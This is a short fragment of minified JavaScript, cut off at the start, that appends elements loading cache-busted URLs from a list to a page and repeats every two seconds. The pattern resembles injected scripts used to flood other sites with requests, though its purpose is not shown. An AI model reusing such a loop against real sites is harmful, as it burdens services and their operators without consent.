'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();